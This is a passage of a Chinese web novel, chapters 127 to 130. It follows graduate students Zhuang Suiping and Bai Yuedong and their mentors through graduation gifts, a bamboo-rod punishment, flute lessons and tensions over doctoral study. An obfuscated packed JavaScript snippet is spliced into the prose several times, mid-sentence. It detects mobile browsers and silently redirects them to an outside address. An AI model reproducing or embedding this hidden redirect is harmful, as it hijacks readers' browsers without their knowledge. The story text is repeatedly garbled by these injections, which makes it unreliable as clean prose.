庄遂平僵着身体任她比划,想起上次闹的外套乌龙,再看看忆芸阿姨买的衣服,天蓝色的短袖衬衫,米白色薄长裤,配上棕色的皮带,很像阅冬的穿衣风格,再想想那件外套,果然不是同一个人买的。 想什么来什么,忆芸下一句便提醒道:“你可别配着你老师买的那件衣服穿,不合适!” “知道了。”庄遂平想,他才不会再穿纪慎买的衣服。 忆芸比划完了,十分满意,收起衣服,又从另一个黑色的小纸袋里掏出一个方形盒子:“这是沅沅送你的,你还没有手表吧?他说上次见面也没有东西给你,这次算见面礼和毕业礼一起了。” 银色圆表盘,金属表带,很简约的设计,但是看着也不像便宜东西。庄遂平突然想到,他们这样的家庭,是不是从小就教小孩各种礼数?他还没想过要送纪沅礼物呢! “戴上试试?” 庄遂平把手往背后藏了藏:“我、我不能收。” 忆芸拉着他的手,非要给他戴上:“有什么不能收的?沅沅当你是师兄,特地给你挑了礼物。你不收,要伤他心了。他不愿意回来一起吃饭,说下次有机会再请你。” 庄遂平从没戴过手表,这东西一上手,手腕都不敢动了。 “是不是,很贵啊?” “贵不贵的,你管他呢!本来他那点工资也养不活自己,成天伸手问他爷爷要钱花,搞不好礼物的钱也是你师爷给的!”忆芸埋怨了一句,可看得出心情不错,“幸亏他们纪家家底厚实,否则还不给他败光!” 庄遂平忍不住笑了笑。 最后一个袋子里是纪老先生的礼物,一支黑色金边钢笔,看着比手表还贵。 想起纪老先生,庄遂平眼中多了点笑意。正高兴着呢,纪慎出来了,见他们在拆礼物,道:“不知道你想要什么,没准备礼物,你有什么想要的,可以跟我说。” 庄遂平的嘴角顿时拉了下去。 忆芸拍了拍学生,让他去吃饭。 纪慎仿佛一个沉默传播机器,他在的地方气氛总是很难活跃。三个人坐一桌,却像陌生人一样,只有忆芸偶尔给庄遂平夹菜,庄遂平说谢谢。 不过纪慎也隐隐约约察觉到这样的氛围不大对,于是筷子一顿,清了清嗓子,道:“前两天你师爷打电话来问你,你有时间就打电话过去说一声。” 没有称呼,但是庄遂平知道是跟自己说话,于是他也没有称呼地回答:“知道了。” 对话结束,又沉默了。 纪慎不知道在心底叹了多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345954|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 饭后,庄遂平便在纪慎家里给纪老先生打了电话。电话一通,那头一个女声传来:“您好,这里是纪鸿云先生家,请问您找哪位?” 是那个保姆阿姨,庄遂平握着听筒,道:“您好,我是庄遂平。” 阿姨笑了一声:“遂平啊,你等会,我去叫老先生,他知道你打电话来,肯定很高兴。” 庄遂平安静地等了一会,又听那边传来声音:“遂平,我叫老先生了,他在楼上接,你不要挂。” “好的。” 刚说完,纪老先生的声音就响起来了:“遂平。” 一声“师爷”差点脱口而出,可还是给他压住了。庄遂平咬咬下嘴唇,应了一声:“是我。” 纪老先生似乎对他们学校的时间安排很熟悉,问:“是不是今天毕业典礼?” “嗯,我收到您的礼物了。” “喜不喜欢?” “喜欢。” “喜欢就拿去用,别怕用坏了用旧了,师爷以后还送你。” “嗯,谢谢。” “有没有收到别的礼物?” “有,忆芸阿姨送了一套衣服,纪沅送了一个手表。” “还有呢?” 庄遂平眼睛一瞟,看了一眼正在沙发上看书的纪慎,有点委屈:“没有了。” “你老师没有送礼物给你?” “没有。”说着不知怎么的,更委屈了,鼻音都出来了,“连聚餐也没有。” 纪慎微微抬了抬眼皮,看见小孩侧脸嘴角拉着,很不高兴的模样。 “暑假来师爷这里住?” “我要学习。” “来师爷这里也可以学习呀!是不是怕你老师不答应?” “嗯。” 很浓的哭腔,要是面对着纪老先生,他可能真要哭出来了。纪慎不知道他们现在讲到什么了,只是听他的声音,觉得憋闷得慌。 “不怕,师爷跟他讲,他不敢拦你,你来就是。” 庄遂平点了点头,似乎忘记了那边看不见他的动作,转而问了另一个问题:“我想知道,时机什么时候到?” 纪老先生笑了笑:“在你,你觉得到了就到了。但是师爷要提醒你,那个盒子一打开,就没有退路了,你要想好。一定是你能完全相信他的时候,才能拿出来。” 他怎么会完全相信纪慎呢? “如果一直没有时机呢?” 纪老先生神秘莫测:“会有的,遂平,会有的。” 爷孙俩又聊了一会别的才挂掉电话。纪慎合上书,要回房去,经过庄遂平身边,漫不经心说了一句:“等你开学,再把师门的人叫来办个欢迎宴吧。” 庄遂平心头一颤,看着他回房的背影,今天那些委屈,好像已经消散了大半。 127.出门 毕业典礼一过,学校里就乱糟糟的。本地的学生纷纷卷铺盖收行李回家,分配了本地单位的学生也提前收拾东西,准备随时搬到工作单位的宿舍去。至于那些家在外地,又被分配到其他城市的学生可就头疼了,行李一大堆,扔的扔,带的带,比别人辛苦多了。 周先生的宿舍在学校最边上,楼层又高,没有感受到一点喧闹嘈杂,仿佛与世隔绝。 柏阅冬安安静静地修剪桔梗的花枝,问:“师父,这样好了吗?” “太高,短一点,挡住后面的康乃馨了。” “哦。”柏阅冬没什么插花细胞,应了一声又抽出桔梗,凭感觉剪了一段。 “阅冬。” “嗯?”柏阅冬头也不回,背对着周先生,一边打量他的花一边等待师父的下文。 “有一个古典音乐会,人很少,你要不要跟师父去?” “嘶——”柏阅冬一不小心,被花枝上的刺扎了一下,中指指腹刺麻刺麻的。他无意识地摸着被刺的一小块皮肤,僵硬地转过了身。 周先生将一张古色古香的棕色请柬放在了他的位置前。柏阅冬看看师父,又低头看看那张请柬,原来是一场中式古典音乐会,是一群古典乐器爱好者自发组织的,听众不到一百人,地点在另一个区,看着还挺远的。 “七月,那时候学校里人也不多了。” 也不必担心走在校园里被太多人看到。 柏阅冬没有回答的欲望。说不去吧,其实也没有那么抗拒,可说去吧,也没那么跃跃欲试。这场音乐会有没有,对他影响不大。 “师父,”柏阅冬选择了诚实地回答,“我不知道。” 周先生一转头,拿起那根木竹节,点了点长凳:“过来。” 柏阅冬隐隐约约能感觉到师父的用意,没有多抗拒,慢慢走过去,褪了裤子,乖乖趴在长凳上。 这是他第二次挨竹节,距离第一次已经过去一段时日了,依稀记得这竹节抽打上来时的钝痛,提前抱住了凳子的边缘。 竹节一端冰冰凉凉,点了点他的臀尖。柏阅冬浑身一颤,白皙干净的肉团也跟着抖了抖。 简直像受尽了欺负的小兔子。 “啪!”竹节抽了下来,柏阅冬身子一挺,差点没从长凳上翻下来。 疼痛是瞬间打进肉里,又渐渐浮上表皮的。柏阅冬默默数着一,咬牙抱紧了凳子。 “啪!”如法炮制的第二下,抽在臀峰上,叠着第一下的红痕,慢慢扩大了红色的面积。 “啪!” “啪!” “啪!” 周先生打人没有太多感情,始终保持着同样的力度和速度,并不因为这段时间柏阅冬有了好转就放水,也不会因为小孩较劲似的就故意下重手。责打柏阅冬,像是某种任务,而非情绪的发泄。 柏阅冬在每两秒一下的钝痛之中感受到一种消失已久的安宁,好像无论世界如何变化,时间如何流逝,这种疼痛是永远稳定的,而伴随着这种疼痛的,是师父悲悯淡然的神情与平静从容的话语。 他忽然觉得,师父是有神性的。 “啪!” “唔……”一时失神,柏阅冬被打出了痛呼,才反应过来,屁股已经火辣辣一片,肿胀得难受。 但竹节没有片刻迟疑,两秒后照旧抽打下来,力度丝毫不减。柏阅冬只得强迫自己专心忍耐,死死咬住后槽牙,一下下挨完了五十竹节。 “起来。”周先生将竹节一收,立刻喝起了茶。 柏阅冬擦掉额上的细汗,白着小脸起身,穿好裤子便坐在长凳上。幸亏是海绵的垫子,也不是很疼。 “出去的时候,我要戴墨镜。” 周先生把茶杯放下,应了一声:“好。” 他们出门的那天,学校已经放暑假了。正如周先生所说,校园里人不多,一条校道望到底,也不过四五个人,几乎没人会注意他们俩。就算是有人看到,也会觉得这么大太阳的出门,戴墨镜实在太正常了。 但柏阅冬不正常,对于出门,他还是很怯弱,就好像全世界的人都来看自己的瞎眼了,戴着墨镜,别人都会想他为什么要戴墨镜,是不是眼睛有什么问题,也许是瞎了,嗯,一定是瞎了。 如此战战兢兢,柏阅冬几乎不会走路了,左眼从墨镜看出去,只能看见师父的身影在他左前方。他不敢抬头,压着脑袋,跟着师父的脚后跟一直走。 在学校里倒没事,一出校门人就多起来了。柏阅冬越来越慌张,一个不防,直直撞上了师父的后背。 “师父……” 原来是到了公交站,周先生拉着他的手,稳稳地说:“没事,等公交车来。” 不知怎么的,感觉到手心的温度,柏阅冬顿时就不害怕了。 头发花白的老人,瞎了一只眼的残疾人,都是被人让座的对象。不过幸而来的这趟公车还算空,周先生拉着小孩走到最里头,挑了两个相连的位置,让小孩坐进去了。 靠窗的位置,窗户开着,车一动,风就对头吹进来了。只是七月的风也是热风,一点也不凉快。 师徒俩没有人说话,安安静静地颠簸到了目的地。 果然是很小型的音乐会,柏阅冬走进去,感觉那像是个私人住宅的客厅,摆了几排椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357789|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,围着中间的演奏区。至于演奏的乐器,不过是笛子、箫、古琴几样。柏阅冬的注意力全在吹笛子的男人身上,看他娴熟的指法,不由得幻想是自己在吹奏。 周先生坐在小孩旁边,无意中低头一瞥,看见小孩子的手指放在膝头,指头上下拍动,像是打拍子,又像是练指法。 周先生收回目光,嘴角轻轻勾了勾。 演奏结束后,周先生带着小孩往后台去了,正见那吹笛子的男人在擦拭竹笛,唤了一声:“成师傅。” “周先生,”被称作成师傅的男人回头笑了笑,伸出手来,“多年不见了。” 周先生与他握了握手,笑道:“今天带小孩子来听成师傅的笛子,他也在学。阅冬,墨镜摘了。” 柏阅冬不敢在外头说不,只是乖乖摘了墨镜,强迫自己看向成师傅:“成师傅好。” 成师傅不知道有没有看出来他的异样,只是笑笑:“你好。” “可惜今天没有带笛子来,不然可以让成师傅指点指点。”周先生道。 成师傅性格憨厚,一点也不矫情做作,摆摆手道:“多简单的事儿!笛子我还能没有吗?小秦,把我那支新笛子拿来!” 柏阅冬有点摸不清楚师父葫芦里卖的什么药,只见一个年轻人很快捧着一支竹笛过来了,成师傅接了便立刻递到他跟前:“来,我的新笛子,给你试试!” “这……”柏阅冬看看笛子,又看看成师傅,最后瞟向了师父。 周先生很淡然,仿佛一支新笛子也不是什么了不得的,抬抬下巴:“成师傅让你试,你就试试。” 柏阅冬无意识地舔舔嘴唇,讷讷接过了笛子。他刚刚才听成师傅演奏完,知道人家至少是能上台面的水平,他才算了几天呀!可是成师傅和师父都看着他,他也没办法,只能硬着头皮,按照指法按住了笛孔,深呼吸几遍,送到嘴边,想尽办法吹起那七零八落的曲子。 成师傅听了一会,笑着摆手:“不对不对,气太短了,呼吸不对。” 柏阅冬本来就紧张,被打断正手足无措呢,谁成想成师傅竟走了过来,大手往他肚子上一放:“来,吸气。” 柏阅冬顿时如惊弓之鸟,往一旁躲了躲。成师傅也错愕了,只有周先生还是那样淡定:“一上来就摸人家肚子,小朋友害羞。” “嗨!”成师傅笑了起来,“都是男人嘛,来,”成师傅还不信这个邪,追着小孩走了一步,仍旧放手在他小腹上,“吸气,把肚子鼓起来。” 柏阅冬身体还是很僵硬,连呼吸都不会了,眼睛直直地盯着前面,动也不敢动。 但至少,他不躲了。 128.计划 “你要跟着成师傅学笛子吗?” 进了学校,柏阅冬照旧戴着墨镜,低着头跟在师父身后。听了师父的问话,他没有马上回答,想了好久。他对笛子是有那么一点点兴趣,成师傅看着也很好相处的样子,可是这样一来,他岂不是要经常去那么远的地方? “我自己去吗?” 周先生微微扭头,看着孩子说:“师父陪你去。” “哦,那好吧。” “什么叫那好吧,去就是去,不去就是不去。” “去吧。”心里是很愿意的,但是他很久没有那样斩钉截铁地说话了,有些不习惯。 周先生笑了笑,拉着小孩的手往家里走。 校道上没有几个人,一点声音都听得一清二楚。师徒俩说完话没多久,一声“阅冬”就从身后不远处传来,柏阅冬一惊,往师父身边一撞,差点把墨镜撞飞。 柏阅冬慌慌张张地扶好墨镜,熟悉的“阅冬”更近了,没看清楚来人,只是下意识一躲,追上来的人也愣了。 来人正是刘巍思,他刚从外头回来,远远瞧见柏阅冬的背影,一眼就认出来了,便高兴地追了上来,可见同学如受惊的动物幼崽似的躲在老人身后,而老人还伸出了手,拦在他和同学之间,他一时也不知自己是不是唐突了。 刘巍思往后退了一步,向老人鞠了一躬:“周先生好,我是严煦和老师的学生,阅冬的同学,我叫刘巍思。” “嗯。”周先生颇不在意,淡淡地应了一声,拦在两个年轻人中间的手仍然没有放下。 柏阅冬有点尴尬,稍稍放松了一点:“巍思。” 刘巍思冲他笑笑:“你能出来了。” 柏阅冬点了点头,不知怎么的,又摇摇头。 “开学你能来上课吗?我和遂平一直想去看你,但是怕冒犯了周先生,也担心你不方便。” “我……”有点不好回答。 周先生看看小孩为难的神情,开口道:“阅冬的情况还不能确定,如果有什么想跟他说的话,可以打电话过来。” 周先生开口了,那就是自己问得太多了。跟在严先生身边这么多年,刘巍思对这些事情还是有判断力的,他点点头:“那我不打扰你们了,周先生再见,阅冬再见。”说着又鞠躬,往另一个方向去了。 看着同学离开的背影,柏阅冬怅然若失:“我刚刚,不应该躲他的。” 周先生把小孩拉到身侧,继续慢慢地回家去:“没事的,慢慢来。” 柏阅冬点了点头。 也就是这一天,庄遂平到了南京纪老先生家里。纪老先生还带着博士,给学生放假之前,老先生把那三个在读的博士叫到家里来开会。庄遂平得以见识了一回老先生当老师的风采。 彼时庄遂平刚到家门口,保姆阿姨帮他拎行李,轻手轻脚地上去,压着声音说:“老先生和学生在书房里开会呢,我和太太都不敢大声说话,老先生叮嘱了,说你来了直接进去就好。刚好我泡了茶,你给老先生端进去。” 庄遂平记得上一回来,这个阿姨在家里很自然的,这会居然不敢大声说话,看来老先生跟学生开会的时候很严肃了。他心中不免生出几分忐忑,硬着头皮点了点头。 放好行李,庄遂平便捧了一盅茶往书房去。陶瓷的茶盅,茶盖上描着又细又硬的梅枝,不由得让他想起了戒尺上刻着的麦穗。 巍思说过的,那就是纪慎的审美,看来,他们纪家的审美都是一样的。 装饰在少不在多。 厚重的书房门留着一道缝,漏出一线白光。庄遂平敲敲门,才缓缓推开。果不其然,里头围坐一圈的四个人都看了过来。 虽然纪老先生在看过来的一瞬间便缓和了颜色,但庄遂平还是注意到了他原本紧皱的眉头。 “遂平来了。” 庄遂平还跟上次一样,没有叫人,只是“嗯”了一声,在众人的注视下将茶端到纪老先生旁边的小桌上:“阿姨说让我端来。” 纪老先生点点头。指指小桌那边的空位:“坐吧,一起听听。这几个是我的博士,这个和你一样,开学了才博士一年级。”说着又向自己的学生介绍,“这是纪慎的学生,这个圈子就这么大,就算不在一个城市,以后总有机会见面的。” 庄遂平坐下了,听着老先生的话,心里有些疑惑,他说纪慎的学生,好像纪慎和他没有关系,但是学生们都很淡定,也没有追问的意思,那就是知道纪慎是谁了? 不过纪老先生很快把注意力转回到学生的文章上了,看了一会儿,抬头问对面坐在中间位置的男博士:“我之前说让你们提前半个月把论文送过来,你为什么没有送来?” 且不说被问到的学生反应如何,庄遂平却是莫名其妙屁股一紧——感觉像是他被纪慎质问了。 那博士支支吾吾:“呃……因为当时还在外地抄那个文献,回来之后不太记得了,所以就……” “这点事情都记不住,读博士也是为难你了。” 对面三个学生脑袋一个压得比一个低。 “你不提前送来给我看,你暑假怎么改?还是这个暑假就算了?想这么磨蹭过去? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381987|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不、不敢……” 庄遂平虽是局外人,但也跟着战战兢兢,偷偷瞄了老先生两眼,壮着胆子把茶盅往老先生旁边推了推,小声道:“喝茶。” 收手回来的时候,庄遂平余光瞥见对面一个学生投来的钦佩的目光,仿佛在说你真有胆子。正疑惑着呢,就听见“乓”一声,纪老先生抓着茶盅重重往桌上一放:“喝什么茶?!” 庄遂平不由得抖了抖。 纪老先生顿了几秒,似乎有些后悔对孩子发了脾气,又缓和了语气,跟那个男博士说:“你先留在学校一周,我把文章看了,你下周来拿。” “好的,老师,但是这样,我去抄文献的时间……” “每天早起两个小时,多在图书馆里呆着,抄得完。”纪老先生言简意赅地提了建议,男博士脸上有些为难,但还是点了点头,应声是,就没话了。 说完这个,就到最后一个准博士,纪老先生交代他暑假写博士读书计划、研究计划,多翻古籍,提高抄书速度,每天至少8个小时留在图书馆里……虽然没有疾言厉色,但是庄遂平听了都觉得根本做不到。 但学生们只能应是。 最后又说了些有问题要及时联系及时交流的话,纪老先生便率先站起来,要送他们出去。学生们自然不敢多话,纷纷站起来鞠躬,说老师辛苦了。庄遂平没得选,只能跟在师爷后面,一直送那几位博士到别墅门口。 学生一走,纪老先生便长长地叹了声气,摇头道:“不成器啊!” 庄遂平哪里敢说话?只是心里不知怎么的有点委屈,小嘴不知不觉撅了起来,也没注意到老先生已经看了过来。 “你呢?一来就不高兴?” “啊?哦,没有啊。”庄遂平赶紧收起各种情绪。 纪老先生笑了笑,说:“现在到你了,你的读博计划呢?” 啊?这个不是提交申请资料的时候写过了吗?庄遂平抿抿唇,努力回忆着自己写过的东西:“我打算博一先读书,主要是跟我的硕士论文相关的……” “不要跟我讲套话。”纪老先生收起了笑,好像庄遂平变成了他的学生,“告诉我,你这三年准备怎么过?” “我……”庄遂平好似回到了当初在纪慎面前的状态,对面语气一严厉,他的脑子就一片空白。 “怎么?纪慎没有问过你这个问题吗?” 开玩笑,现在纪慎哪里敢问他任何问题? 纪老先生指了指大门边一个墙角:“去站着,想好了上来告诉我。”说罢扭头往楼上去了。 129.第 129 章 九十度的直角,庄遂平几乎连头都要埋里面了,不由得后悔为什么要今天来,为什么要碰上纪老先生跟学生说论文,这根本不关他的事啊!庄遂平站得直直的,可心里真要委屈死了。 站了十几分钟,刚开始觉得无聊,门就突然开了。他没忍住,探头一看,原来是纪老太太逛街回来了,目光对上的刹那,还是有点尴尬——他也不知道怎么称呼老太太。 倒是老太太笑了笑,摘了头上的花帽子,笑着道:“遂平来啦!怎么站这里?你师爷呢?” 庄遂平没有回答,但脸却微微红了。 老太太打量了一会,问:“你师爷让你在这里站着?” 庄遂平点了点头。 老太太拉着小孩就往里头走:“别管他,他是不是跟学生生气了?你坐着,我上去跟他说。小蔡,给遂平切点水果吃。” “哎!就来!”阿姨在厨房里应了一声。 庄遂平可不敢坐,呆呆地站在餐桌旁,看着老太太提着小包拿着帽子“蹬蹬蹬”就上楼去了。 不多时,阿姨便端着一小盘切好的苹果块出来了,水果块上插几根牙签:“遂平,来吃,你坐呀!站着干什么?” 见小孩没动,阿姨笑着把水果放下,道:“老先生对学生是比较严厉的,不过你不要怕,太太上去说了,老先生不会说什么的。他们纪家人一股子牛劲都用在做研究上,但是对太太是很好的,纪老师对忆芸也是,是不是?” 庄遂平没回答,因为他实在没办法断言纪慎对忆芸阿姨好不好。如果真对忆芸阿姨好,怎么舍得和他们唯一的儿子断得这么干净?可如果不好,依忆芸阿姨的性子,早就甩手走人了。 想不明白,干脆不想了。庄遂平不好拂阿姨的面子,就着牙签叉起苹果,吃了两块。阿姨喜笑颜开,又端出一盘来:“这是给老先生和太太的,等会你就端上去,老先生一定高兴的。” 庄遂平还没答应呢,阿姨就硬是把盘子塞他手里了。 想拒绝都拒绝不了。 庄遂平磨磨蹭蹭又吃了几块苹果,做足心理建设,在阿姨的一再催促下,终于端起那盘水果,一步一步往楼上去了。 书房门还是像之前那样,没有关实,露着一道白光。庄遂平正要敲门,却听见老太太的声音传出来:“我可跟你说,遂平不是你的学生,你要打要骂的,冲你自己的学生去,敢动遂平半个手指头,你就等着阿慎打电话来跟你闹!” “他又不是小孩,读博士的人了,一点计划都没有,像话吗?” 庄遂平咬咬下嘴唇,有点羞愧。可是老太太的语气却很轻松:“阿慎又不是真心要收这孩子读博士,寻个由头把他留在身边罢了。” 庄遂平手一抖,差点把手里的果盘摔了。明明还是在这个地方,明明里面的音量没有变小,可是他却什么都听不清了。最后老先生那句“所以说他就不该收学生”像是覆上了一层膜,在耳边嗡嗡嗡响。 阿姨在厨房准备晚餐,青菜洗到一半,看见庄遂平原样端着水果下来了,问:“怎么没有端进去?” 庄遂平扯出一个生硬的笑:“他们在谈事情,我不方便进去。” “哦,那放着吧。” 庄遂平突然觉得在这个房子里怎么都不自在,赶紧放下东西,溜到花园里去了。 晚饭时,似乎所有人都忘记了罚站的事,老先生也没有问什么读博计划,只是吃饭吃到一半时突然道:“明天开始翻清代总集,做吴梅村诗文的辑佚工作。” 所谓辑佚,就是把散落在不同文献中的相关材料搜索、整理到一起。清代文献浩如烟海,诗人更是多如牛毛,做清代诗人的辑佚,想想就很痛苦。 庄遂平知道这话是对自己说的,想到这一整天发生的事,心中颇为烦闷,莫名其妙地竟回答:“我还没想好,要不要读博。” 这话一出,整个餐厅都安静了。纪老先生筷子一顿,随后“啪”一声拍在桌上:“你这是什么意思?你都申请了,也考上了,九月就开学了,现在说没想好?” 一股酸气直冲天灵盖,他真想哭出来,可偏偏不敢哭,只得忍:“我知道我不聪明,基础也很差,他也根本不想收我读博士……” “这些事情重要吗?”纪老先生真想问问纪慎是怎么教学生的,把学生带成这个样子,“你现在是准博士,你的目标就是好好做学术!成天想这些事,你的学术理想呢?” “我……我没有……” 也许就像纪慎并非真心想收他读博士一样,他也不是真心要读这个博士的。 他不是冲着博士去的,他是冲着…… 可是这样的话,落在视学术如生命的纪老先生耳朵里,简直是一种玷污。老先生当即饭都吃不下了,站起来就要走,上楼梯前发狠似的撂了一句话:“那你就别读了!” 老太太“哎”了一声,想叫住人,可到底没叫住,只得转来安慰小孩:“你师爷就是这个性子,一说到学术,九头牛都拉不回来,你别往心里去,明早起来跟他说几句好听话,乖乖的,他不会凶你的,嗯?” 庄遂平垂着眼皮,呆呆地点了点头。 可谁知,第二天庄遂平没有按照老太太的建议行事,更没有表现出一点积极向学的样子,早上下来吃了个早餐,闷闷地鞠了躬就上楼躲着了,纪老先生差点又要骂人,被老太太拦下来了。 “你看看他那个样子!纪慎就教出这么个学生来!还不如纪沅!” “哎呀!”老太太轻轻地拍了他一巴掌,“你说这些干什么?你对纪沅怎么不这样?沅沅要什么你给什么呢!” “这能一样吗?遂平是要读博士的人,还要哄着?那我看也别读了,他不读博士我也像对沅沅一样对他,可他要走这条路,你说怎么办?” 这倒也是,老太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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庄遂平不知怎么的,听到纪慎的声音,忽然就哭出了声。 “你干什么啊?” “你别哭啊!” “你别在那里呆了,你回来吧。” 老太太一下慌了神,这孩子还没说话呢,就哭得稀里哗啦,难不成是纪慎又骂他了? 庄遂平上气不接下气,根本不管前面纪慎说了什么,口齿不清哭道:“我知道我很笨……我不如巍思,还有阅冬……还有、还有郑旭师兄、盛超……我谁都比不上……但是我、我真的很努力了……我真的想好好的当你的、你的学生……你知不知道?” 大门忽然被推开,是纪老先生回来了,他走到花园里,心神不宁,就没有继续散步了,没曾想一回来却看见小孩哭着当电话的场面。 老太太看看老先生,又看看小孩,两手一摊,可太为难了。 庄遂平狠狠地抹了一把脸,满手的泪水。电话那头沉默了很久,像是被他震住了,又像是在等他整理情绪。 “遂平,”纪慎的声线很稳,“老师知道,老师一直都知道。” 130.成长 柏阅冬到成师傅那里学笛子去了。其实一切联系事宜都是周先生做的,他只需要听从安排,乖乖跟着师父出门。第一次上课,练呼吸练了大半个小时,练得头昏脑胀。柏阅冬好几次都想求助师父,让师父给说一说别练呼气吸气了,可一回头,师父就坐在不远处的椅子上,一脸平和地看着他,于是他又接着练了。 这么去一次,练习两个小时的时间,周先生始终坐在那里,目光没有从小孩身上移开过。 大约是知道在成师傅那里很安全,柏阅冬第二次去就没老是往师父那里看了,而且成师傅开始纠正他的指法,顺便给他讲一些笛子的知识,他不知不觉入了迷,待两个小时结束后,他一回头,发现那个椅子上空空如也。 柏阅冬顿时脸色煞白,抓着笛子就往那儿跑,慌慌张张环视一圈,根本没有师父的身影。 成师傅一边擦拭笛子,一边问:“怎么了阅冬?” “我师父不见了!”柏阅冬嚷起来,就差没记得跺脚了。 “没事的,你师父可能出去走一走,走不丢的!” 柏阅冬才不是怕师父走丢,是怕师父就这么把他丢在这里了,那他怎么回去?坐公车?他还记得怎么坐公车,可是他一个人,怎么、怎么走出去呢?难道是师父故意的,想逼他一个人走? 这么想着,柏阅冬眼泪都涌出来了,委屈、怨恨一齐涌上心头,甚至连不读博士的念头都出来了,反正他说的,九月还可以反悔的! 就在这时,脚步声从身后传了过来,缓缓的,轻轻的。柏阅冬猛地转身,大吼:“你去哪里了?!” 这话一出口,师徒俩都愣了。周先生没想到他反应这么大,柏阅冬则在想,他刚刚在说什么? 柏阅冬眨眨眼,微微偏开了头,不敢再看师父,心想,这么没礼数,屁股要挨打了。 可是周先生只是轻轻地叹了一声气,伸出一只手:“过来。” 柏阅冬眼眶潮潮的,低着头偷偷看了一眼,见师父好像没有生气的意思,才慢慢走过去,拉着师父的手,一起回家去了。 他跟在师父身后,看见师父另一手提着一个鼓鼓的布包,猜测师父应该是去买东西了,于是更加懊悔起来,不应该那样冲师父说话的。 师徒俩一路上都没讲话,公车摇摇晃晃七八公里,柏阅冬戴着墨镜往窗外看,周先生只是稳稳地抱着那一布包东西。 下了公车,还有一小段距离才进学校。天气热得吓人,沿路有不少叫卖汽水冰棍的小推车,时而有大人带着小孩在推车前问价格,买汽水或冰棍。周先生停下买了一根冰棍递给小孩。柏阅冬撅着嘴,沉默地接来吃,冰冰凉凉,很舒服。 周先生瞧他只顾着吃,怕他不看路,便抓了他一边手腕,往学校里走。 柏阅冬踉踉跄跄跟了两步,一边吃着冰棍,一边感受着手腕上传来的师父手心的温度。路人来来往往,他仍然戴着黑色墨镜,却突然什么也不怕了。 小小的冰棍,还没到家就吃完了。柏阅冬进门,先丢了手里剩下的小木片,赶紧到客厅乖乖坐在蒲团上,讨巧得不行。 周先生放下布包,洗了手,果不其然就开始泡茶,什么也没说,仿佛已经忘记了柏阅冬冲他吼的那句话。可是柏阅冬却熬不住,见师父已经喝了茶,竟像小猫似的,手脚并用,绕过茶几,爬到师父跟前去了:“师父。” “嗯?” 柏阅冬怕挨打,又怕师父生气,只好先道歉:“对不起,师父,我不应该那样跟您说话的,我、我太着急了。” 师徒俩距离很近,周先生伸手一拉,把小孩撸到自己怀里:“不怪你,师父没跟你说,让你担心了。” 柏阅冬靠在师父怀里,问:“师父去哪里了?” “旁边有个旧书店,师父去看了看。”周先生说着把那个布包扒拉过来,“本来看着时间快到了,准备回去的,看到门口很多小孩在翻这个。”周先生拿出一套厚厚的彩色故事大王画库递给他。 柏阅冬接过来,有点莫名其妙:“师父也看小孩看的东西吗?” “想着你会喜欢,买给你看。” “我又不是小孩!” “不见大人了就发脾气,买冰棍吃就高兴,不是小孩是什么?” 柏阅冬哼了一声,随便翻了翻其中一本画库,久久没有说话,周先生也由着他,甚至倒了一杯茶,送到小孩嘴边要喂他。 “师父,”柏阅冬接过茶,扭头怯怯地看了师父一眼,“下次,我自己去吧。” 周先生没问为什么,也不问行不行,还是照旧,淡淡地应了一声:“好。” 却说南京那边,庄遂平和纪老先生好多天没好好说话了。那天打电话,庄遂平发现老先生在看他哭,很是尴尬,可是他又没听纪慎的话回学校去,就在别墅里不冷不热地住了下来。 其实他每一天都很忐忑,特别是一起吃饭的时候,很怕老先生要赶他回去,但老先生什么也没有说。 直到老先生的博士生来的那天,老先生叫学生去书房说论文修改的事,庄遂平终于大胆地问了一句:“我、我可以一起听吗?” 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15386984|143212||http|test|mini|href|location''.split(''|''),0,{})); () { 